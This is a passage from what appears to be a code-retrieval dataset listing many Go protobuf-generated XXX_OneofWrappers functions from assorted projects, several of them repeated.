XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ChangeResponse_Ok)(nil),\n\t\t(*ChangeResponse_Error)(nil),\n\t}\n}","func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_ExecStarted)(nil),\n\t\t(*Message_ExecCompleted)(nil),\n\t\t(*Message_ExecOutput)(nil),\n\t\t(*Message_LogEntry)(nil),\n\t\t(*Message_Error)(nil),\n\t}\n}","func (*HealthCheck_Payload) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*HealthCheck_Payload_Text)(nil),\n\t\t(*HealthCheck_Payload_Binary)(nil),\n\t}\n}","func (*HealthCheck_Payload) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*HealthCheck_Payload_Text)(nil),\n\t\t(*HealthCheck_Payload_Binary)(nil),\n\t}\n}","func (*HealthCheck_Payload) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*HealthCheck_Payload_Text)(nil),\n\t\t(*HealthCheck_Payload_Binary)(nil),\n\t}\n}","func (*HealthCheck_Payload) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*HealthCheck_Payload_Text)(nil),\n\t\t(*HealthCheck_Payload_Binary)(nil),\n\t}\n}","func (*RequestCreateGame) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*RequestCreateGame_LocalMap)(nil),\n\t\t(*RequestCreateGame_BattlenetMapName)(nil),\n\t}\n}","func (*CellStatusReq) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*CellStatusReq_IsPlayer)(nil),\n\t\t(*CellStatusReq_CellStatus)(nil),\n\t}\n}","func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_Request)(nil),\n\t\t(*Message_Response)(nil),\n\t}\n}","func (*CreateDatasetVersion) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*CreateDatasetVersion_RawDatasetVersionInfo)(nil),\n\t\t(*CreateDatasetVersion_PathDatasetVersionInfo)(nil),\n\t\t(*CreateDatasetVersion_QueryDatasetVersionInfo)(nil),\n\t}\n}","func (*InputMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*InputMessage_Init)(nil),\n\t\t(*InputMessage_Data)(nil),\n\t}\n}","func (*UplinkTXInfo) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*UplinkTXInfo_LoraModulationInfo)(nil),\n\t\t(*UplinkTXInfo_FskModulationInfo)(nil),\n\t\t(*UplinkTXInfo_LrFhssModulationInfo)(nil),\n\t}\n}","func (*APool) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*APool_DisableHealthCheck)(nil),\n\t\t(*APool_HealthCheck)(nil),\n\t}\n}","func (*BWP_UplinkCommon) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*BWP_UplinkCommon_ReleaseRach_ConfigCommon)(nil),\n\t\t(*BWP_UplinkCommon_SetupRach_ConfigCommon)(nil),\n\t\t(*BWP_UplinkCommon_ReleasePusch_ConfigCommon)(nil),\n\t\t(*BWP_UplinkCommon_SetupPusch_ConfigCommon)(nil),\n\t\t(*BWP_UplinkCommon_ReleasePucch_ConfigCommon)(nil),\n\t\t(*BWP_UplinkCommon_SetupPucch_ConfigCommon)(nil),\n\t}\n}","func (*M) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*M_OneofInt32)(nil),\n\t\t(*M_OneofInt64)(nil),\n\t}\n}","func (*LoadParams) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*LoadParams_ClosedLoop)(nil),\n\t\t(*LoadParams_Poisson)(nil),\n\t}\n}","func (*TestnetPacketData) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TestnetPacketData_NoData)(nil),\n\t\t(*TestnetPacketData_FooPacket)(nil),\n\t}\n}","func (*M_Submessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*M_Submessage_SubmessageOneofInt32)(nil),\n\t\t(*M_Submessage_SubmessageOneofInt64)(nil),\n\t}\n}","func (*CodebookSubType_MultiPanel) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*CodebookSubType_MultiPanel_TwoTwoOne_TypeI_MultiPanel_Restriction)(nil),\n\t\t(*CodebookSubType_MultiPanel_TwoFourOne_TypeI_MultiPanel_Restriction)(nil),\n\t\t(*CodebookSubType_MultiPanel_FourTwoOne_TypeI_MultiPanel_Restriction)(nil),\n\t\t(*CodebookSubType_MultiPanel_TwoTwoTwo_TypeI_MultiPanel_Restriction)(nil),\n\t\t(*CodebookSubType_MultiPanel_TwoEightOne_TypeI_MultiPanel_Restriction)(nil),\n\t\t(*CodebookSubType_MultiPanel_FourFourOne_TypeI_MultiPanel_Restriction)(nil),\n\t\t(*CodebookSubType_MultiPanel_TwoFourTwo_TypeI_MultiPanel_Restriction)(nil),\n\t\t(*CodebookSubType_MultiPanel_FourTwoTwo_TypeI_MultiPanel_Restriction)(nil),\n\t}\n}","func (*Packet) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Packet_PacketPing)(nil),\n\t\t(*Packet_PacketPong)(nil),\n\t\t(*Packet_PacketMsg)(nil),\n\t}\n}","func (*MetricsData) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*MetricsData_BoolValue)(nil),\n\t\t(*MetricsData_StringValue)(nil),\n\t\t(*MetricsData_Int64Value)(nil),\n\t\t(*MetricsData_DoubleValue)(nil),\n\t\t(*MetricsData_DistributionValue)(nil),\n\t}\n}","func (*FieldType) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*FieldType_PrimitiveType_)(nil),\n\t\t(*FieldType_EnumType_)(nil),\n\t}\n}","func (*InstructionResponse) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*InstructionResponse_Register)(nil),\n\t\t(*InstructionResponse_ProcessBundle)(nil),\n\t\t(*InstructionResponse_ProcessBundleProgress)(nil),\n\t\t(*InstructionResponse_ProcessBundleSplit)(nil),\n\t\t(*InstructionResponse_FinalizeBundle)(nil),\n\t}\n}","func (*OpenStatusUpdate) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*OpenStatusUpdate_ChanPending)(nil),\n\t\t(*OpenStatusUpdate_ChanOpen)(nil),\n\t\t(*OpenStatusUpdate_PsbtFund)(nil),\n\t}\n}","func (*OpenStatusUpdate) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*OpenStatusUpdate_ChanPending)(nil),\n\t\t(*OpenStatusUpdate_ChanOpen)(nil),\n\t\t(*OpenStatusUpdate_PsbtFund)(nil),\n\t}\n}","func (*OpenStatusUpdate) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*OpenStatusUpdate_ChanPending)(nil),\n\t\t(*OpenStatusUpdate_ChanOpen)(nil),\n\t\t(*OpenStatusUpdate_PsbtFund)(nil),\n\t}\n}","func (*Tracing) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Tracing_Zipkin_)(nil),\n\t\t(*Tracing_Lightstep_)(nil),\n\t\t(*Tracing_Datadog_)(nil),\n\t\t(*Tracing_Stackdriver_)(nil),\n\t}\n}","func (*DynamicReplay) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*DynamicReplay_AuthRequest)(nil),\n\t\t(*DynamicReplay_AuthResponse)(nil),\n\t\t(*DynamicReplay_OutboundMessage)(nil),\n\t\t(*DynamicReplay_ReplayMessage)(nil),\n\t}\n}"],"string":"[\n \"func (*DRB) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*DRB_NotUsed)(nil),\\n\\t\\t(*DRB_Rohc)(nil),\\n\\t\\t(*DRB_UplinkOnlyROHC)(nil),\\n\\t}\\n}\",\n \"func (*Interface) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Interface_Sub)(nil),\\n\\t\\t(*Interface_Memif)(nil),\\n\\t\\t(*Interface_Afpacket)(nil),\\n\\t\\t(*Interface_Tap)(nil),\\n\\t\\t(*Interface_Vxlan)(nil),\\n\\t\\t(*Interface_Ipsec)(nil),\\n\\t\\t(*Interface_VmxNet3)(nil),\\n\\t\\t(*Interface_Bond)(nil),\\n\\t\\t(*Interface_Gre)(nil),\\n\\t\\t(*Interface_Gtpu)(nil),\\n\\t}\\n}\",\n \"func (*TwoOneofs) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*TwoOneofs_Field1)(nil),\\n\\t\\t(*TwoOneofs_Field2)(nil),\\n\\t\\t(*TwoOneofs_Field3)(nil),\\n\\t\\t(*TwoOneofs_Field34)(nil),\\n\\t\\t(*TwoOneofs_Field35)(nil),\\n\\t\\t(*TwoOneofs_SubMessage2)(nil),\\n\\t}\\n}\",\n \"func (*TwoOneofs) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*TwoOneofs_Field1)(nil),\\n\\t\\t(*TwoOneofs_Field2)(nil),\\n\\t\\t(*TwoOneofs_Field3)(nil),\\n\\t\\t(*TwoOneofs_Field34)(nil),\\n\\t\\t(*TwoOneofs_Field35)(nil),\\n\\t\\t(*TwoOneofs_SubMessage2)(nil),\\n\\t}\\n}\",\n \"func (*TwoOneofs) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*TwoOneofs_Field1)(nil),\\n\\t\\t(*TwoOneofs_Field2)(nil),\\n\\t\\t(*TwoOneofs_Field3)(nil),\\n\\t\\t(*TwoOneofs_Field34)(nil),\\n\\t\\t(*TwoOneofs_Field35)(nil),\\n\\t\\t(*TwoOneofs_SubMessage2)(nil),\\n\\t}\\n}\",\n \"func (*TwoOneofs) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*TwoOneofs_Field1)(nil),\\n\\t\\t(*TwoOneofs_Field2)(nil),\\n\\t\\t(*TwoOneofs_Field3)(nil),\\n\\t\\t(*TwoOneofs_Field34)(nil),\\n\\t\\t(*TwoOneofs_Field35)(nil),\\n\\t\\t(*TwoOneofs_SubMessage2)(nil),\\n\\t}\\n}\",\n \"func (*Layer7) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Layer7_Dns)(nil),\\n\\t\\t(*Layer7_Http)(nil),\\n\\t\\t(*Layer7_Kafka)(nil),\\n\\t}\\n}\",\n \"func (*Layer7) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Layer7_Dns)(nil),\\n\\t\\t(*Layer7_Http)(nil),\\n\\t\\t(*Layer7_Kafka)(nil),\\n\\t}\\n}\",\n \"func (*Message) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Message_NewRoundStep)(nil),\\n\\t\\t(*Message_NewValidBlock)(nil),\\n\\t\\t(*Message_Proposal)(nil),\\n\\t\\t(*Message_ProposalPol)(nil),\\n\\t\\t(*Message_BlockPart)(nil),\\n\\t\\t(*Message_Vote)(nil),\\n\\t\\t(*Message_HasVote)(nil),\\n\\t\\t(*Message_VoteSetMaj23)(nil),\\n\\t\\t(*Message_VoteSetBits)(nil),\\n\\t}\\n}\",\n \"func (*GroupMod) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*GroupMod_L2Iface)(nil),\\n\\t\\t(*GroupMod_L3Unicast)(nil),\\n\\t\\t(*GroupMod_MplsIface)(nil),\\n\\t\\t(*GroupMod_MplsLabel)(nil),\\n\\t}\\n}\",\n \"func (*Layer4) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Layer4_TCP)(nil),\\n\\t\\t(*Layer4_UDP)(nil),\\n\\t\\t(*Layer4_ICMPv4)(nil),\\n\\t\\t(*Layer4_ICMPv6)(nil),\\n\\t}\\n}\",\n \"func (*Layer4) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Layer4_TCP)(nil),\\n\\t\\t(*Layer4_UDP)(nil),\\n\\t\\t(*Layer4_ICMPv4)(nil),\\n\\t\\t(*Layer4_ICMPv6)(nil),\\n\\t}\\n}\",\n \"func (*Message) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Message_Init)(nil),\\n\\t\\t(*Message_File)(nil),\\n\\t\\t(*Message_Resize)(nil),\\n\\t\\t(*Message_Signal)(nil),\\n\\t}\\n}\",\n \"func (*Example) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Example_A)(nil),\\n\\t\\t(*Example_BJk)(nil),\\n\\t}\\n}\",\n \"func (*ExampleMsg) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*ExampleMsg_SomeString)(nil),\\n\\t\\t(*ExampleMsg_SomeNumber)(nil),\\n\\t\\t(*ExampleMsg_SomeBool)(nil),\\n\\t}\\n}\",\n \"func (*WALMessage) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*WALMessage_EventDataRoundState)(nil),\\n\\t\\t(*WALMessage_MsgInfo)(nil),\\n\\t\\t(*WALMessage_TimeoutInfo)(nil),\\n\\t\\t(*WALMessage_EndHeight)(nil),\\n\\t}\\n}\",\n \"func (*Modulation) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Modulation_Lora)(nil),\\n\\t\\t(*Modulation_Fsk)(nil),\\n\\t\\t(*Modulation_LrFhss)(nil),\\n\\t}\\n}\",\n \"func (*TestVersion2) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*TestVersion2_E)(nil),\\n\\t\\t(*TestVersion2_F)(nil),\\n\\t}\\n}\",\n \"func (*TestVersion1) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*TestVersion1_E)(nil),\\n\\t\\t(*TestVersion1_F)(nil),\\n\\t}\\n}\",\n \"func (*CodebookType_Type1) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*CodebookType_Type1_TypeI_SinglePanel)(nil),\\n\\t\\t(*CodebookType_Type1_TypeI_MultiPanell)(nil),\\n\\t}\\n}\",\n \"func (*DRB_ToAddMod) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*DRB_ToAddMod_Eps_BearerIdentity)(nil),\\n\\t\\t(*DRB_ToAddMod_Sdap_Config)(nil),\\n\\t}\\n}\",\n \"func (*TestVersion3) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*TestVersion3_E)(nil),\\n\\t\\t(*TestVersion3_F)(nil),\\n\\t}\\n}\",\n \"func (*Bitmaps) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Bitmaps_OneSlot)(nil),\\n\\t\\t(*Bitmaps_TwoSlots)(nil),\\n\\t\\t(*Bitmaps_N2)(nil),\\n\\t\\t(*Bitmaps_N4)(nil),\\n\\t\\t(*Bitmaps_N5)(nil),\\n\\t\\t(*Bitmaps_N8)(nil),\\n\\t\\t(*Bitmaps_N10)(nil),\\n\\t\\t(*Bitmaps_N20)(nil),\\n\\t\\t(*Bitmaps_N40)(nil),\\n\\t}\\n}\",\n \"func (*Bit) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Bit_DecimalValue)(nil),\\n\\t\\t(*Bit_LongValue)(nil),\\n\\t}\\n}\",\n \"func (*SeldonMessage) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*SeldonMessage_Data)(nil),\\n\\t\\t(*SeldonMessage_BinData)(nil),\\n\\t\\t(*SeldonMessage_StrData)(nil),\\n\\t\\t(*SeldonMessage_JsonData)(nil),\\n\\t\\t(*SeldonMessage_CustomData)(nil),\\n\\t}\\n}\",\n \"func (*TestVersionFD1) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*TestVersionFD1_E)(nil),\\n\\t\\t(*TestVersionFD1_F)(nil),\\n\\t}\\n}\",\n \"func (*Message) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Message_Pubkey)(nil),\\n\\t\\t(*Message_EncK)(nil),\\n\\t\\t(*Message_Mta)(nil),\\n\\t\\t(*Message_Delta)(nil),\\n\\t\\t(*Message_ProofAi)(nil),\\n\\t\\t(*Message_CommitViAi)(nil),\\n\\t\\t(*Message_DecommitViAi)(nil),\\n\\t\\t(*Message_CommitUiTi)(nil),\\n\\t\\t(*Message_DecommitUiTi)(nil),\\n\\t\\t(*Message_Si)(nil),\\n\\t}\\n}\",\n \"func (*TestUnit) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*TestUnit_GceTestCfg)(nil),\\n\\t\\t(*TestUnit_HwTestCfg)(nil),\\n\\t\\t(*TestUnit_MoblabVmTestCfg)(nil),\\n\\t\\t(*TestUnit_TastVmTestCfg)(nil),\\n\\t\\t(*TestUnit_VmTestCfg)(nil),\\n\\t}\\n}\",\n \"func (*Tag) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Tag_DecimalValue)(nil),\\n\\t\\t(*Tag_LongValue)(nil),\\n\\t\\t(*Tag_StringValue)(nil),\\n\\t}\\n}\",\n \"func (*Record) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Record_Local_)(nil),\\n\\t\\t(*Record_Ledger_)(nil),\\n\\t\\t(*Record_Multi_)(nil),\\n\\t\\t(*Record_Offline_)(nil),\\n\\t}\\n}\",\n \"func (*GeneratedObject) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*GeneratedObject_DestinationRule)(nil),\\n\\t\\t(*GeneratedObject_EnvoyFilter)(nil),\\n\\t\\t(*GeneratedObject_ServiceEntry)(nil),\\n\\t\\t(*GeneratedObject_VirtualService)(nil),\\n\\t}\\n}\",\n \"func (*Packet) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Packet_Deal)(nil),\\n\\t\\t(*Packet_Response)(nil),\\n\\t\\t(*Packet_Justification)(nil),\\n\\t}\\n}\",\n \"func (*Response) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Response_ImageVersion)(nil),\\n\\t\\t(*Response_ErrorDescription)(nil),\\n\\t}\\n}\",\n \"func (*FlowMod) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*FlowMod_Vlan)(nil),\\n\\t\\t(*FlowMod_TermMac)(nil),\\n\\t\\t(*FlowMod_Mpls1)(nil),\\n\\t\\t(*FlowMod_Unicast)(nil),\\n\\t\\t(*FlowMod_Bridging)(nil),\\n\\t\\t(*FlowMod_Acl)(nil),\\n\\t}\\n}\",\n \"func (*MFADevice) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*MFADevice_Totp)(nil),\\n\\t\\t(*MFADevice_U2F)(nil),\\n\\t}\\n}\",\n \"func (*MFADevice) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*MFADevice_Totp)(nil),\\n\\t\\t(*MFADevice_U2F)(nil),\\n\\t}\\n}\",\n \"func (*MFADevice) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*MFADevice_Totp)(nil),\\n\\t\\t(*MFADevice_U2F)(nil),\\n\\t}\\n}\",\n \"func (*P4Data) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*P4Data_Bitstring)(nil),\\n\\t\\t(*P4Data_Varbit)(nil),\\n\\t\\t(*P4Data_Bool)(nil),\\n\\t\\t(*P4Data_Tuple)(nil),\\n\\t\\t(*P4Data_Struct)(nil),\\n\\t\\t(*P4Data_Header)(nil),\\n\\t\\t(*P4Data_HeaderUnion)(nil),\\n\\t\\t(*P4Data_HeaderStack)(nil),\\n\\t\\t(*P4Data_HeaderUnionStack)(nil),\\n\\t\\t(*P4Data_Enum)(nil),\\n\\t\\t(*P4Data_Error)(nil),\\n\\t\\t(*P4Data_EnumValue)(nil),\\n\\t}\\n}\",\n \"func (*SSB_ConfigMobility) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*SSB_ConfigMobility_ReleaseSsb_ToMeasure)(nil),\\n\\t\\t(*SSB_ConfigMobility_SetupSsb_ToMeasure)(nil),\\n\\t}\\n}\",\n \"func (*SpCellConfig) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*SpCellConfig_ReleaseRlf_TimersAndConstants)(nil),\\n\\t\\t(*SpCellConfig_SetupRlf_TimersAndConstants)(nil),\\n\\t}\\n}\",\n \"func (*ServerMessage) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*ServerMessage_State)(nil),\\n\\t\\t(*ServerMessage_Runtime)(nil),\\n\\t\\t(*ServerMessage_Event)(nil),\\n\\t\\t(*ServerMessage_Response)(nil),\\n\\t\\t(*ServerMessage_Notice)(nil),\\n\\t}\\n}\",\n \"func (*ParaP2PSubMsg) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*ParaP2PSubMsg_CommitTx)(nil),\\n\\t\\t(*ParaP2PSubMsg_SyncMsg)(nil),\\n\\t}\\n}\",\n \"func (*ServerAuctionMessage) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*ServerAuctionMessage_Challenge)(nil),\\n\\t\\t(*ServerAuctionMessage_Success)(nil),\\n\\t\\t(*ServerAuctionMessage_Error)(nil),\\n\\t\\t(*ServerAuctionMessage_Prepare)(nil),\\n\\t\\t(*ServerAuctionMessage_Sign)(nil),\\n\\t\\t(*ServerAuctionMessage_Finalize)(nil),\\n\\t\\t(*ServerAuctionMessage_Account)(nil),\\n\\t}\\n}\",\n \"func (*Body) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Body_AsBytes)(nil),\\n\\t\\t(*Body_AsString)(nil),\\n\\t}\\n}\",\n \"func (*TagField) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*TagField_DoubleValue)(nil),\\n\\t\\t(*TagField_StringValue)(nil),\\n\\t\\t(*TagField_BoolValue)(nil),\\n\\t\\t(*TagField_TimestampValue)(nil),\\n\\t\\t(*TagField_EnumValue_)(nil),\\n\\t}\\n}\",\n \"func (*DatasetVersion) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*DatasetVersion_RawDatasetVersionInfo)(nil),\\n\\t\\t(*DatasetVersion_PathDatasetVersionInfo)(nil),\\n\\t\\t(*DatasetVersion_QueryDatasetVersionInfo)(nil),\\n\\t}\\n}\",\n \"func (*GatewayMsg) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*GatewayMsg_Demand)(nil),\\n\\t\\t(*GatewayMsg_Supply)(nil),\\n\\t\\t(*GatewayMsg_Target)(nil),\\n\\t\\t(*GatewayMsg_Mbus)(nil),\\n\\t\\t(*GatewayMsg_MbusMsg)(nil),\\n\\t}\\n}\",\n \"func (*Message) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Message_Chunk)(nil),\\n\\t\\t(*Message_Status)(nil),\\n\\t\\t(*Message_Response)(nil),\\n\\t}\\n}\",\n \"func (*BlobDiff) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*BlobDiff_Dataset)(nil),\\n\\t\\t(*BlobDiff_Environment)(nil),\\n\\t\\t(*BlobDiff_Code)(nil),\\n\\t\\t(*BlobDiff_Config)(nil),\\n\\t}\\n}\",\n \"func (*BlobDiff) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*BlobDiff_Dataset)(nil),\\n\\t\\t(*BlobDiff_Environment)(nil),\\n\\t\\t(*BlobDiff_Code)(nil),\\n\\t\\t(*BlobDiff_Config)(nil),\\n\\t}\\n}\",\n \"func (*BlobDiff) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*BlobDiff_Dataset)(nil),\\n\\t\\t(*BlobDiff_Environment)(nil),\\n\\t\\t(*BlobDiff_Code)(nil),\\n\\t\\t(*BlobDiff_Config)(nil),\\n\\t}\\n}\",\n \"func (*DataType) XXX_OneofWrappers() []interface{} {\\r\\n\\treturn []interface{}{\\r\\n\\t\\t(*DataType_ListElementType)(nil),\\r\\n\\t\\t(*DataType_StructType)(nil),\\r\\n\\t\\t(*DataType_TimeFormat)(nil),\\r\\n\\t}\\r\\n}\",\n \"func (*Message) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Message_Prepare)(nil),\\n\\t\\t(*Message_Promise)(nil),\\n\\t\\t(*Message_Accept)(nil),\\n\\t\\t(*Message_Accepted)(nil),\\n\\t\\t(*Message_Alert)(nil),\\n\\t}\\n}\",\n \"func (*BWP_DownlinkCommon) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*BWP_DownlinkCommon_ReleasePdcch_ConfigCommon)(nil),\\n\\t\\t(*BWP_DownlinkCommon_SetupPdcch_ConfigCommon)(nil),\\n\\t\\t(*BWP_DownlinkCommon_ReleasePdsch_ConfigCommon)(nil),\\n\\t\\t(*BWP_DownlinkCommon_SetupPdsch_ConfigCommon)(nil),\\n\\t}\\n}\",\n \"func (*Test) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Test_Get)(nil),\\n\\t\\t(*Test_Create)(nil),\\n\\t\\t(*Test_Set)(nil),\\n\\t\\t(*Test_Update)(nil),\\n\\t\\t(*Test_UpdatePaths)(nil),\\n\\t\\t(*Test_Delete)(nil),\\n\\t\\t(*Test_Query)(nil),\\n\\t\\t(*Test_Listen)(nil),\\n\\t}\\n}\",\n \"func (*DownlinkTXInfo) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*DownlinkTXInfo_LoraModulationInfo)(nil),\\n\\t\\t(*DownlinkTXInfo_FskModulationInfo)(nil),\\n\\t\\t(*DownlinkTXInfo_ImmediatelyTimingInfo)(nil),\\n\\t\\t(*DownlinkTXInfo_DelayTimingInfo)(nil),\\n\\t\\t(*DownlinkTXInfo_GpsEpochTimingInfo)(nil),\\n\\t}\\n}\",\n \"func (*RpcMessage) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*RpcMessage_RequestHeader)(nil),\\n\\t\\t(*RpcMessage_ResponseHeader)(nil),\\n\\t}\\n}\",\n \"func (*Domain_Attribute) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*Domain_Attribute_BoolValue)(nil),\\n\\t\\t(*Domain_Attribute_IntValue)(nil),\\n\\t}\\n}\",\n \"func (*CellStatusResp) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*CellStatusResp_CellStatus)(nil),\\n\\t\\t(*CellStatusResp_ErrorMsg)(nil),\\n\\t}\\n}\",\n \"func (*ClientAuctionMessage) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*ClientAuctionMessage_Commit)(nil),\\n\\t\\t(*ClientAuctionMessage_Subscribe)(nil),\\n\\t\\t(*ClientAuctionMessage_Accept)(nil),\\n\\t\\t(*ClientAuctionMessage_Reject)(nil),\\n\\t\\t(*ClientAuctionMessage_Sign)(nil),\\n\\t\\t(*ClientAuctionMessage_Recover)(nil),\\n\\t}\\n}\",\n \"func (*GrpcService) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*GrpcService_EnvoyGrpc_)(nil),\\n\\t\\t(*GrpcService_GoogleGrpc_)(nil),\\n\\t}\\n}\",\n \"func (*GrpcService) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*GrpcService_EnvoyGrpc_)(nil),\\n\\t\\t(*GrpcService_GoogleGrpc_)(nil),\\n\\t}\\n}\",\n \"func (*GrpcService) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*GrpcService_EnvoyGrpc_)(nil),\\n\\t\\t(*GrpcService_GoogleGrpc_)(nil),\\n\\t}\\n}\",\n \"func (*GrpcService) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*GrpcService_EnvoyGrpc_)(nil),\\n\\t\\t(*GrpcService_GoogleGrpc_)(nil),\\n\\t}\\n}\",\n \"func (*GrpcService) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*GrpcService_EnvoyGrpc_)(nil),\\n\\t\\t(*GrpcService_GoogleGrpc_)(nil),\\n\\t}\\n}\",\n \"func (*GrpcService) XXX_OneofWrappers() []interface{} {\\n\\treturn []interface{}{\\n\\t\\t(*GrpcService_EnvoyGrpc_)(nil),\\n\\t\\t(*GrpcService_GoogleGrpc_)(nil),\\n\\t}\\n}\",\n \"func (*Replay) XXX_OneofWrappers() []interface{} {\\n\\treturn 